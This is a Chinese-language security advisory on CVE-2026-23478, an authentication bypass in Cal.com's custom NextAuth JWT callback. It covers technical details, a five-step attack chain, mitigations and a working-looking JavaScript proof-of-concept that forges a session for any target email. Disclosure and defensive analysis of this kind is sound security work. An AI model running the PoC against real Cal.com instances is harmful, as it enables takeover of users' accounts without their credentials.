IPBUF安全漏洞报告
English
CVE-2026-23478 CVSS 9.8 严重

CVE-2026-23478 Cal.com NextAuth JWT认证绕过漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2026-23478
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cal.com

相关标签

认证绕过Cal.comNextAuthJWT账户接管CVE-2026-23478开源软件

漏洞概述

CVE-2026-23478是Cal.com开源调度软件中的一个严重认证绕过漏洞。该漏洞存在于自定义NextAuth JWT回调实现中,影响版本从3.1.6到6.0.7之前的全部版本。攻击者可以利用此漏洞通过构造恶意的session.update()请求,仅需提供目标用户的邮箱地址即可获得该账户的完全认证访问权限,无需知晓目标用户的密码或其他凭据。此漏洞的CVSS评分高达9.8,属于严重等级,对系统的机密性、完整性和可用性均造成严重影响。由于Cal.com被广泛用于会议调度和团队协作,攻击者一旦成功利用此漏洞,可窃取大量用户敏感信息、篡改调度数据,甚至可能横向移动至其他关联系统。建议所有使用受影响版本的用户立即升级至6.0.7或更高版本以修复此安全漏洞。

技术细节

Cal.com在实现NextAuth认证回调时存在逻辑缺陷。正常情况下,NextAuth的session.update()方法用于更新当前用户的会话信息,但Cal.com的自定义JWT回调未能正确验证请求的合法性。具体问题在于:回调函数接受任意邮箱地址作为参数,并基于该邮箱生成新的JWT令牌,而未验证当前会话用户是否有权限代表该邮箱进行操作。攻击者只需构造一个包含目标邮箱的session.update()请求,服务器端会错误地认为这是合法的会话更新流程,从而签发一个以目标邮箱为标识的JWT令牌。攻击者获得该令牌后,即可以目标用户身份访问所有受保护资源。由于Cal.com的API和前端均依赖此JWT进行身份验证,攻击者可以完全接管目标账户,包括查看日程、修改设置、访问个人信息等。漏洞的利用无需任何特殊权限,也不要求目标用户进行任何交互,完全可以在目标不知情的情况下完成攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先收集目标Cal.com实例上注册的用户邮箱地址,可以通过公开的团队成员列表、日程共享功能或社工手段获取
STEP 2
步骤2: 获取CSRF令牌
攻击者访问/api/auth/csrf端点获取有效的CSRF令牌,用于绕过CSRF保护机制
STEP 3
步骤3: 构造恶意请求
攻击者构造包含目标邮箱的session.update()请求,发送到Cal.com的/api/auth/session端点,利用JWT回调中的认证缺陷
STEP 4
步骤4: 获取伪造会话
服务器端的自定义JWT回调未能正确验证请求合法性,直接基于攻击者提供的邮箱生成新的JWT令牌和会话
STEP 5
步骤5: 账户接管
攻击者获得以目标邮箱为标识的有效JWT后,可使用该令牌访问所有受保护资源,完成账户完全接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import fetch from 'node-fetch'; // CVE-2026-23478 Proof of Concept // Cal.com NextAuth JWT Authentication Bypass const CALCOM_URL = 'https://cal.com'; const TARGET_EMAIL = '[email protected]'; async function exploit() { console.log('[*] Starting CVE-2026-23478 exploitation...'); console.log(`[*] Target: ${TARGET_EMAIL}`); // Step 1: Get CSRF token const csrfResp = await fetch(`${CALCOM_URL}/api/auth/csrf`); const csrfData = await csrfResp.json(); const csrfToken = csrfData.csrfToken; console.log(`[+] CSRF Token obtained: ${csrfToken}`); // Step 2: Create session with target email via session.update // The vulnerability allows arbitrary email injection const sessionUpdateResp = await fetch(`${CALCOM_URL}/api/auth/session`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-csrf-token': csrfToken }, body: JSON.stringify({ callbackUrl: `${CALCOM_URL}`, redirect: false, email: TARGET_EMAIL, // Malicious session update payload json: true }) }); const sessionData = await sessionUpdateResp.json(); console.log('[+] Session update response:', JSON.stringify(sessionData, null, 2)); // Step 3: If successful, we now have a JWT for the target user if (sessionData.user && sessionData.user.email === TARGET_EMAIL) { console.log('[+] SUCCESS: Full account access obtained!'); console.log(`[+] User ID: ${sessionData.user.id}`); console.log(`[+] Session Token: ${sessionData.accessToken}`); return sessionData; } else { console.log('[-] Exploitation failed - target may not exist or patched'); return null; } } exploit().catch(console.error);

影响范围

Cal.com 3.1.6 - 6.0.7之前的所有版本

防御指南

临时缓解措施
对于无法立即升级的生产环境,建议采取以下临时缓解措施:1) 限制Cal.com的对外访问,仅允许受信任的IP访问管理后台;2) 在反向代理层配置规则,检测并阻止包含异常session.update参数的请求;3) 启用Cal.com的审计日志功能,监控异常的认证行为;4) 通知所有用户注意账户安全,如发现未经授权的活动立即报告;5) 考虑临时关闭用户注册功能,防止攻击者创建新账户进行进一步攻击。同时建议尽快规划升级至官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表